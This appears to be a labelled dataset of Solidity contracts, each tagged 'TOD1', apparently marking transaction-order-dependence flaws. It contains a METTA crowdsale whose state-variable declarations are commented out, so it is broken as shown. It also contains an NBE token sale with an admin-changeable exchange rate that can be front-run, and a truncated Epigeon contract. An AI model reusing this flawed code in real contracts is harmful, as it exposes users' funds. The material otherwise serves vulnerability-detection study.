/** * @title METTA platform token & preICO crowdsale implementasion * @author Maxim Akimov - <[email protected]> * @author Dmitrii Bykov - <[email protected]> */ pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; address public ownerCandidat; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); ownerCandidat = newOwner; } /** * @dev Allows safe change current owner to a newOwner. */ function confirmOwnership() { require(msg.sender == ownerCandidat); owner = msg.sender; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken, Ownable { /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public onlyOwner { require(_value > 0); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } event Burn(address indexed burner, uint indexed value); } contract MettaCoin is BurnableToken { string public constant name = "TOKEN METTA"; string public constant symbol = "METTA"; uint32 public constant decimals = 18; uint256 public constant initialSupply = 300000000 * 1 ether; function MettaCoin() { totalSupply = initialSupply; balances[msg.sender] = initialSupply; } } contract MettaCrowdsale is Ownable { using SafeMath for uint; // MettaCoin public token = new MettaCoin(); // uint public start; // uint public period; // uint public rate; // uint public softcap; // uint public availableTokensforPreICO; // uint public countOfSaleTokens; // uint public currentPreICObalance; // uint public refererPercent; // mapping(address => uint) public balances; // preICO manager data////////////// address public managerETHaddress; address public managerETHcandidatAddress; uint public managerETHbonus; ///////////////////////////////// function MettaCrowdsale() { // 1 METTACOIN = 0.00027 ETH rate = 270000000000000; //Mon, 20 Nov 2017 00:00:00 GMT start = 1511136000; // preICO period is 20 of november - 19 of december (include 19) period = 30; // // minimum attracted ETH during preICO - 409 softcap = 409 * 1 ether; // maximum number mettacoins for preICO availableTokensforPreICO = 8895539 * 1 ether; // current ETH balance of preICO currentPreICObalance = 0; // how much mettacoins are sold countOfSaleTokens = 0; //percent for referer bonus program refererPercent = 15; //data of manager of company managerETHaddress = 0x0; managerETHbonus = 27 * 1 ether; } /** * @dev Initially safe sets preICO manager address */ function setPreIcoManager(address _addr) public onlyOwner { require(managerETHaddress == 0x0) ;//only once managerETHcandidatAddress = _addr; } /** * @dev Allows safe confirm of manager address */ function confirmManager() public { require(msg.sender == managerETHcandidatAddress); managerETHaddress = managerETHcandidatAddress; } /** * @dev Allows safe changing of manager address */ function changeManager(address _addr) public { require(msg.sender == managerETHaddress); managerETHcandidatAddress = _addr; } /** * @dev Indicates that preICO starts and not finishes */ modifier saleIsOn() { require(now > start && now < start + period * 1 days); _; } /** * @dev Indicates that we have available tokens for sale */ modifier issetTokensForSale() { require(countOfSaleTokens < availableTokensforPreICO); _; } /** * @dev Tokens ans ownership will be transfered from preICO contract to ICO contract after preICO period. */ function TransferTokenToIcoContract(address ICOcontract) public onlyOwner { require(now > start + period * 1 days && token.owner()==ICOcontract); token.transfer(ICOcontract, token.balanceOf(this)); } /** * @dev Transfer ownershop to ICO contract after pre ICO */ function TransferTokenOwnership(address ICOcontract) onlyOwner{ require(now > start + period * 1 days); token.transferOwnership(ICOcontract); } /** * @dev Investments will be refunded if preICO not hits the softcap. */ function refund() public { require(currentPreICObalance < softcap && now > start + period * 1 days); msg.sender.transfer(balances[msg.sender]); balances[msg.sender] = 0; } /** * @dev Manager can get his/shes bonus after preICO reaches it's softcap */ function withdrawManagerBonus() public { if(currentPreICObalance > softcap && managerETHbonus > 0 && managerETHaddress!=0x0){ managerETHaddress.transfer(managerETHbonus); managerETHbonus = 0; } } /** * @dev If ICO reached owner can withdrow ETH for ICO comping managment */ function withdrawPreIcoFounds() public onlyOwner { if(currentPreICObalance > softcap) { // send all current ETH from contract to owner uint availableToTranser = this.balance-managerETHbonus; owner.transfer(availableToTranser); } } /** * @dev convert bytes to address */ function bytesToAddress(bytes source) internal returns(address) { uint result; uint mul = 1; for(uint i = 20; i > 0; i--) { result += uint8(source[i-1])*mul; mul = mul*256; } return address(result); } function buyTokens() issetTokensForSale saleIsOn payable { require(msg.value >= rate);// minimum 0,00022 eth for investment uint tokens = msg.value.mul(1 ether).div(rate); address referer = 0x0; //-------------BONUSES-------------// uint bonusTokens = 0; if(now < start.add(7* 1 days)) {// 1st week bonusTokens = tokens.mul(45).div(100); //+45% } else if(now >= start.add(7 * 1 days) && now < start.add(14 * 1 days)) { // 2nd week bonusTokens = tokens.mul(40).div(100); //+40% } else if(now >= start.add(14* 1 days) && now < start.add(21 * 1 days)) { // 3th week bonusTokens = tokens.mul(35).div(100); //+35% } else if(now >= start.add(21* 1 days) && now < start.add(28 * 1 days)) { // 4th week bonusTokens = tokens.mul(30).div(100); //+30% } tokens = tokens.add(bonusTokens); //---------END-BONUSES-------------// //---------referal program--------- //abailable after 3th week only if(now >= start.add(14* 1 days) && now < start.add(28 * 1 days)) { if(msg.data.length == 20) { referer = bytesToAddress(bytes(msg.data)); require(referer != msg.sender); uint refererTokens = tokens.mul(refererPercent).div(100); } } //---------end referal program---------// if(availableTokensforPreICO > countOfSaleTokens.add(tokens)) { token.transfer(msg.sender, tokens); currentPreICObalance = currentPreICObalance.add(msg.value); countOfSaleTokens = countOfSaleTokens.add(tokens); balances[msg.sender] = balances[msg.sender].add(msg.value); if(availableTokensforPreICO > countOfSaleTokens.add(tokens).add(refererTokens)){ // send token to referrer if(referer !=0x0 && refererTokens >0){ token.transfer(referer, refererTokens); countOfSaleTokens = countOfSaleTokens.add(refererTokens); } } } else { // changes to buyer uint availabeTokensToSale = availableTokensforPreICO.sub(countOfSaleTokens); countOfSaleTokens = countOfSaleTokens.add(availabeTokensToSale); token.transfer(msg.sender, availabeTokensToSale); uint changes = msg.value.sub(availabeTokensToSale.mul(rate).div(1 ether)); balances[msg.sender] = balances[msg.sender].add(msg.value.sub(changes)); currentPreICObalance = currentPreICObalance.add(msg.value.sub(changes)); msg.sender.transfer(changes); } } function() external payable { buyTokens(); } }
TOD1
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval(address indexed owner,address indexed spender,uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // ERC20 standard token contract NBE is StandardToken { address public admin; string public name = "NBE"; string public symbol = "NBE"; uint8 public decimals = 18; uint256 public INITIAL_SUPPLY = 10000000000000000000000000000; mapping (address => uint256) public frozenTimestamp; bool public exchangeFlag = true; uint256 public minWei = 1; // 1 wei 1eth = 1*10^18 wei uint256 public maxWei = 20000000000000000000000; // 20000 eth uint256 public maxRaiseAmount = 500000000000000000000000; // 500000 eth uint256 public raisedAmount = 0; // 0 eth uint256 public raiseRatio = 10000; // 1eth = 10000 constructor() public { totalSupply_ = INITIAL_SUPPLY; admin = msg.sender; balances[msg.sender] = INITIAL_SUPPLY; } function() public payable { require(msg.value > 0); if (exchangeFlag) { if (msg.value >= minWei && msg.value <= maxWei){ if (raisedAmount < maxRaiseAmount) { uint256 valueNeed = msg.value; raisedAmount = raisedAmount.add(msg.value); if (raisedAmount > maxRaiseAmount) { uint256 valueLeft = raisedAmount.sub(maxRaiseAmount); valueNeed = msg.value.sub(valueLeft); msg.sender.transfer(valueLeft); raisedAmount = maxRaiseAmount; } if (raisedAmount >= maxRaiseAmount) { exchangeFlag = false; } uint256 _value = valueNeed.mul(raiseRatio); require(_value <= balances[admin]); balances[admin] = balances[admin].sub(_value); balances[msg.sender] = balances[msg.sender].add(_value); emit Transfer(admin, msg.sender, _value); } } else { msg.sender.transfer(msg.value); } } else { msg.sender.transfer(msg.value); } } /** * admin */ function changeAdmin( address _newAdmin ) public returns (bool) { require(msg.sender == admin); require(_newAdmin != address(0)); balances[_newAdmin] = balances[_newAdmin].add(balances[admin]); balances[admin] = 0; admin = _newAdmin; return true; } // withdraw admin function withdraw ( uint256 _amount ) public returns (bool) { require(msg.sender == admin); msg.sender.transfer(_amount); return true; } /** * */ function freezeWithTimestamp( address _target, uint256 _timestamp ) public returns (bool) { require(msg.sender == admin); require(_target != address(0)); frozenTimestamp[_target] = _timestamp; return true; } /** * */ function transfer( address _to, uint256 _value ) public returns (bool) { // require(!frozenAccount[msg.sender]); require(now > frozenTimestamp[msg.sender]); require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } //******************************************************************************** // function getFrozenTimestamp( address _target ) public view returns (uint256) { require(_target != address(0)); return frozenTimestamp[_target]; } // function getBalance() public view returns (uint256) { return address(this).balance; } // change flag function setExchangeFlag ( bool _flag ) public returns (bool) { require(msg.sender == admin); exchangeFlag = _flag; return true; } // change ratio function setRaiseRatio ( uint256 _value ) public returns (bool) { require(msg.sender == admin); raiseRatio = _value; return true; } }
TOD1
// File: EpigeonInterfaces.sol pragma solidity ^0.4.11; //---------------------------------------------------------------------------------------------------- interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } //---------------------------------------------------------------------------------------------------- interface IERC777 { function name() external view returns (string memory); function symbol() external view returns (string memory); function granularity() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function send(address recipient, uint256 amount, bytes data) external; function burn(uint256 amount, bytes data) external; function isOperatorFor(address operator, address tokenHolder) external view returns (bool); function authorizeOperator(address operator) external; function revokeOperator(address operator) external; function defaultOperators() external view returns (address[] memory); function operatorSend(address sender, address recipient, uint256 amount, bytes data, bytes operatorData) external; function operatorBurn(address account, uint256 amount, bytes data, bytes operatorData) external; event Sent( address indexed operator, address indexed from, address indexed to, uint256 amount, bytes data, bytes operatorData); event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData); event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData); event AuthorizedOperator(address indexed operator, address indexed tokenHolder); event RevokedOperator(address indexed operator, address indexed tokenHolder); } //---------------------------------------------------------------------------------------------------- interface ILockable { function lock(address to, uint256 amount, bytes32 hash) external; function operatorLock(address from, address to, uint256 amount, bytes32 hash, bytes data, bytes operatorData) external; function unlock(string unlockerPhrase) external; function operatorUnlock(address to, string unlockerPhrase, bytes data, bytes operatorData) external; function reclaim(address to, string unlockerPhrase) external; function operatorReclaim(address from, address to, string unlockerPhrase, bytes data, bytes operatorData) external; function unlockByLockedCoinContract(address to, bytes32 hash) external; function reclaimByLockedCoinContract(address from, address to, bytes32 hash) external; function lockedSupply() external view returns (uint256 locked_supply); function lockedAmount(address from, bytes32 hash) external view returns (uint256 amount); function lockedBalanceOf(address account) external view returns (uint256); } //---------------------------------------------------------------------------------------------------- interface IPigeonFactory { function createCryptoPigeon(address to) external returns (ICryptoPigeon pigeonAddress); function iAmFactory() external pure returns (bool); function amIEpigeon() external returns (bool); function factoryId() external view returns (uint256 id); function getMetaDataForPigeon(address pigeon) external view returns (string metadata); function mintingPrice() external view returns (uint256 price); function totalSupply() external view returns (uint256 supply); function maxSupply() external view returns (uint256 supply); function getFactoryTokenPrice(address ERC20Token) external view returns (uint256 price); } //---------------------------------------------------------------------------------------------------- interface ICryptoPigeon { function burnPigeon() external; function iAmPigeon() external pure returns (bool); function transferPigeon(address newOwner) external; function hasFlown() external view returns (bool); function toAddress() external view returns (address addressee); function owner() external view returns (address ownerAddress); function manager() external view returns (address managerAddress); function factoryId() external view returns (uint256 id); } //---------------------------------------------------------------------------------------------------- interface IEpigeon { function pigeonDestinations() external view returns (IPigeonDestinationDirectory destinations); function nameAndKeyDirectory() external view returns (INameAndPublicKeyDirectory directory); function getLastFactoryId() external view returns (uint256 id); function getFactoryAddresstoId(uint256 id) external view returns (address factoryAddress); function getPigeonPriceForFactory(uint256 factoryId) external view returns (uint256 price); function getPigeonTokenPriceForFactory(address ERC20Token, uint256 factoryId) external view returns (uint256 price); function createCryptoPigeonNFT(address to, uint256 factoryId) external returns (address pigeonaddress); function transferPigeon(address from, address to, address pigeon) external; function burnPigeon(address pigeon) external; function nftContractAddress() external view returns (address nftContract); function validPigeon(address pigeon, address pigeonOwner) external view returns (bool); } //---------------------------------------------------------------------------------------------------- interface IEpigeonNFT { function isTokenizedPigeon(address pigeon) external view returns (bool); } //---------------------------------------------------------------------------------------------------- interface INameAndPublicKeyDirectory { function getPublicKeyForAddress (address owner) external view returns (string key); function getUserNameForAddress (address owner) external view returns (string name); } //---------------------------------------------------------------------------------------------------- interface IPigeonDestinationDirectory{ function changeToAddress(address newToAddress, address oldToAddress) external; function setToAddress(address newToAddress) external; function deleteToAddress(address oldToAddress) external; function deleteToAddressByEpigeon(address pigeon) external; function pigeonsSentToAddressLenght(address toAddress) external view returns (uint256 length); function pigeonSentToAddressByIndex(address toAddress, uint index) external view returns (address pigeonAddress); } //---------------------------------------------------------------------------------------------------- interface IPigeonManagerDirectory{ function changeManager(address newManager, address oldManager) external; function deleteManager(address oldManager) external; function setManager(address newManager) external; function pigeonsOfManagerLenght(address toAddress) external view returns (uint256 length); function pigeonOfManagerByIndex(address toAddress, uint index) external view returns (address pigeonAddress); } //---------------------------------------------------------------------------------------------------- // File: Epigeon.sol pragma solidity ^0.4.11; //---------------------------------------------------------------------------------------------------- contract NameAndPublicKeyDirectory is INameAndPublicKeyDirectory{ mapping (address => string) internal addressToPublicKey; mapping (address => string) internal addressToUserName; mapping (string => address) internal userNameToAddress; Epigeon epigeonAddress; uint256 public uniqueNamePrice; constructor (){ epigeonAddress = Epigeon(msg.sender); } function getPublicKeyForAddress (address owner) public view returns (string key){ return addressToPublicKey[owner]; } function getUserNameForAddress (address owner) public view returns (string name){ return addressToUserName[owner]; } function setPublicKeyToAddress (string key) public { addressToPublicKey[msg.sender] = key; } function setUniqueNamePrice (uint256 price) public { require(msg.sender == epigeonAddress.owner(), "Only Epigeon owner"); uniqueNamePrice = price; } function setUserNameToAddress (string name) public payable { require(userNameToAddress[name] == msg.sender || userNameToAddress[name] == 0, "Name is already in use"); require(msg.value >= uniqueNamePrice, "Not enough value"); delete userNameToAddress[addressToUserName[msg.sender]]; addressToUserName[msg.sender] = name; userNameToAddress[name] = msg.sender; epigeonAddress.owner().transfer(address(this).balance); } function transferUniqueName (address toAddress) public { addressToUserName[toAddress]= addressToUserName[msg.sender]; userNameToAddress[addressToUserName[toAddress]] = toAddress; delete addressToUserName[msg.sender]; } } //---------------------------------------------------------------------------------------------------- contract PigeonDestinationDirectory is IPigeonDestinationDirectory{ address public epigeonAddress; mapping (address => address[]) internal toAddressToPigeon; mapping (address => uint256) internal pigeonToToAddressIndex; mapping (address => bool) internal pigeonToAddressExists; event PigeonSent(address toAddress); constructor (){ epigeonAddress = msg.sender; } function changeToAddress(address newToAddress, address oldToAddress) public { //Check if the call is from a CryptoPigeon require(_isPigeon(msg.sender), "Available only for Epigeon's pigeon contracts"); ICryptoPigeon pigeon = ICryptoPigeon(msg.sender); require(pigeonToAddressExists[msg.sender] == true, "Pigeon has no recipient entry to change"); //Push new to address toAddressToPigeon[newToAddress].push(pigeon); pigeonToToAddressIndex[pigeon] = toAddressToPigeon[newToAddress].length-1; //Delete old to address address pigeonToRemove = pigeon; uint256 pigeonToRemoveIndex = pigeonToToAddressIndex[pigeon]; uint256 lastIdIndex = toAddressToPigeon[oldToAddress].length - 1; if (toAddressToPigeon[oldToAddress][lastIdIndex] != pigeonToRemove) { address lastPigeon = toAddressToPigeon[oldToAddress][lastIdIndex]; toAddressToPigeon[oldToAddress][pigeonToToAddressIndex[pigeonToRemove]] = lastPigeon; pigeonToToAddressIndex[lastPigeon] = pigeonToRemoveIndex; } delete toAddressToPigeon[oldToAddress][lastIdIndex]; toAddressToPigeon[oldToAddress].length--; emit PigeonSent(newToAddress); } function deleteToAddress(address oldToAddress) public { //Check if the call is from a CryptoPigeon require(_isPigeon(msg.sender), "Available only for Epigeon's pigeon contracts"); ICryptoPigeon pigeon = ICryptoPigeon(msg.sender); //Delete old to address address pigeonToRemove = pigeon; uint256 pigeonToRemoveIndex = pigeonToToAddressIndex[pigeon]; uint256 lastIdIndex = toAddressToPigeon[oldToAddress].length - 1; if (toAddressToPigeon[oldToAddress][lastIdIndex] != pigeonToRemove) { address lastPigeon = toAddressToPigeon[oldToAddress][lastIdIndex]; toAddressToPigeon[oldToAddress][pigeonToToAddressIndex[pigeonToRemove]] = lastPigeon; pigeonToToAddressIndex[lastPigeon] = pigeonToRemoveIndex; } delete toAddressToPigeon[oldToAddress][lastIdIndex]; toAddressToPigeon[oldToAddress].length--; pigeonToAddressExists[pigeon] = false; } function deleteToAddressByEpigeon(address pigeon) public { require(epigeonAddress == msg.sender, "Available only for Epigeon Smart Contract"); address pToAddress = ICryptoPigeon(pigeon).toAddress(); address pigeonToRemove = pigeon; //Delete to address if (ICryptoPigeon(pigeon).hasFlown()){ uint256 pigeonToRemoveIndex = pigeonToToAddressIndex[pigeon]; uint256 lastIdIndex = toAddressToPigeon[pToAddress].length - 1; if (toAddressToPigeon[pToAddress][lastIdIndex] != pigeonToRemove) { address alastPigeon = toAddressToPigeon[pToAddress][lastIdIndex]; toAddressToPigeon[pToAddress][pigeonToToAddressIndex[pigeonToRemove]] = alastPigeon; pigeonToToAddressIndex[alastPigeon] = pigeonToRemoveIndex; } delete toAddressToPigeon[pToAddress][lastIdIndex]; toAddressToPigeon[pToAddress].length--; } pigeonToAddressExists[pigeon] = false; } function pigeonSentToAddressByIndex(address toAddress, uint index) public view returns (address rpaddress){ rpaddress = toAddressToPigeon[toAddress][index]; } function pigeonsSentToAddressLenght(address toAddress) public view returns (uint256 length){ length = toAddressToPigeon[toAddress].length; } function setToAddress(address newToAddress) public { //Check if the call is from a CryptoPigeon require(_isPigeon(msg.sender), "Available only for Epigeon's pigeon contracts"); ICryptoPigeon pigeon = ICryptoPigeon(msg.sender); //Push new to address require(pigeonToAddressExists[msg.sender] != true, "Pigeon already has recipient entry"); toAddressToPigeon[newToAddress].push(pigeon); pigeonToToAddressIndex[pigeon] = toAddressToPigeon[newToAddress].length-1; pigeonToAddressExists[pigeon] = true; emit PigeonSent(newToAddress); } function _isPigeon (address sender) internal view returns (bool indeed){ ICryptoPigeon pigeon = ICryptoPigeon(sender); return IEpigeon(epigeonAddress).validPigeon(sender, pigeon.owner()); } } //---------------------------------------------------------------------------------------------------- contract Epigeon is IEpigeon{ address public owner; string public egigeonURI; address private _nftContractAddress; INameAndPublicKeyDirectory private _nameAndKeyDirectory; IPigeonDestinationDirectory private _pigeonDestinations; uint256[] factoryIds; mapping (address => bool) disabledFactories; mapping (uint256 => address) factoryIdtoAddress; mapping (address => address[]) internal ownerToPigeon; mapping (address => uint256) internal pigeonToOwnerIndex; event PigeonCreated(ICryptoPigeon pigeon); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor (){ owner = msg.sender; _nameAndKeyDirectory = new NameAndPublicKeyDirectory(); _pigeonDestinations = new PigeonDestinationDirectory(); } function addFactory(address factoryAddress) public { require(msg.sender == owner, "Only owner"); IPigeonFactory factory = IPigeonFactory(factoryAddress); require(factory.iAmFactory(), "Not a factory"); require(factory.amIEpigeon(), "Not the factory's Epigeon"); require(factoryIdtoAddress[factory.factoryId()] == address(0), "Existing Factory ID"); factoryIds.push(factory.factoryId()); factoryIdtoAddress[factory.factoryId()] = factory; disabledFactories[factory] = false; } function burnPigeon(address pigeon) public { require((_nftContractAddress == msg.sender) || ((IEpigeonNFT(_nftContractAddress).isTokenizedPigeon(pigeon) == false) && (ICryptoPigeon(pigeon).owner() == msg.sender)), "Not authorized"); address pOwner = ICryptoPigeon(pigeon).owner(); address pigeonToRemove = pigeon; //Delete old owner address uint256 pigeonToRemoveIndex = pigeonToOwnerIndex[pigeon]; uint256 lastIdIndex = ownerToPigeon[pOwner].length - 1; if (ownerToPigeon[pOwner][lastIdIndex] != pigeonToRemove) { address lastPigeon = ownerToPigeon[pOwner][lastIdIndex]; ownerToPigeon[pOwner][pigeonToOwnerIndex[pigeonToRemove]] = lastPigeon; pigeonToOwnerIndex[lastPigeon] = pigeonToRemoveIndex; } delete ownerToPigeon[pOwner][lastIdIndex]; ownerToPigeon[pOwner].length--; //Delete to address _pigeonDestinations.deleteToAddressByEpigeon(pigeon); //Burn contract too ICryptoPigeon(pigeon).burnPigeon(); } function createCryptoPigeon(uint256 factoryId) public payable returns (address pigeonAddress) { require(msg.value >= getPigeonPriceForFactory(factoryId), "Not enough value"); return _createPigeon(msg.sender, factoryId); } function createCryptoPigeonByLatestFactory() public payable returns (address pigeonAddress) { require(msg.value >= getPigeonPriceForFactory(getLastFactoryId()), "Not enough value"); return _createPigeon(msg.sender, getLastFactoryId()); } function createCryptoPigeonForToken(address ERC20Token, uint256 factoryId) public returns (address pigeonAddress) { require(getPigeonTokenPriceForFactory(ERC20Token, factoryId) > 0, "Price for token not available"); require(IERC20(ERC20Token).balanceOf(msg.sender) >= getPigeonTokenPriceForFactory(ERC20Token, factoryId), "Not enough balance"); require(IERC20(ERC20Token).allowance(msg.sender, address(this)) >= getPigeonTokenPriceForFactory(ERC20Token, factoryId), "Not enough allowance"); IERC20(ERC20Token).transferFrom(msg.sender, owner, getPigeonTokenPriceForFactory(ERC20Token, factoryId)); return _createPigeon(msg.sender, factoryId); } function createCryptoPigeonNFT(address to, uint256 factoryId) public returns (address pigeonAddress) { require(_nftContractAddress == msg.sender, "Available only for the NFT contract"); return _createPigeon(to, factoryId); } function disableFactory(uint256 factoryId) public { require(msg.sender == owner, "Only owner"); disabledFactories[factoryIdtoAddress[factoryId]] = true; } function enableFactory(uint256 factoryId) public { require(msg.sender == owner, "Only owner"); require(factoryIdtoAddress[factoryId] != address(0)); disabledFactories[factoryIdtoAddress[factoryId]] = false; } function getFactoryAddresstoId(uint256 id) public view returns (address factory){ return factoryIdtoAddress[id]; } function getFactoryCount() public view returns (uint256 count){ return factoryIds.length; } function getIdforFactory(uint256 index) public view returns (uint256 id){ return factoryIds[index]; } function getLastFactoryId() public view returns (uint256 id){ return factoryIds[factoryIds.length-1]; } function getPigeonPriceForFactory(uint256 factoryId) public view returns (uint256 price){ return IPigeonFactory(factoryIdtoAddress[factoryId]).mintingPrice(); } function getPigeonTokenPriceForFactory(address ERC20Token, uint256 factoryId) public view returns (uint256 price){ return IPigeonFactory(factoryIdtoAddress[factoryId]).getFactoryTokenPrice(ERC20Token); } function isFactoryDisabled(address factoryAddress) public view 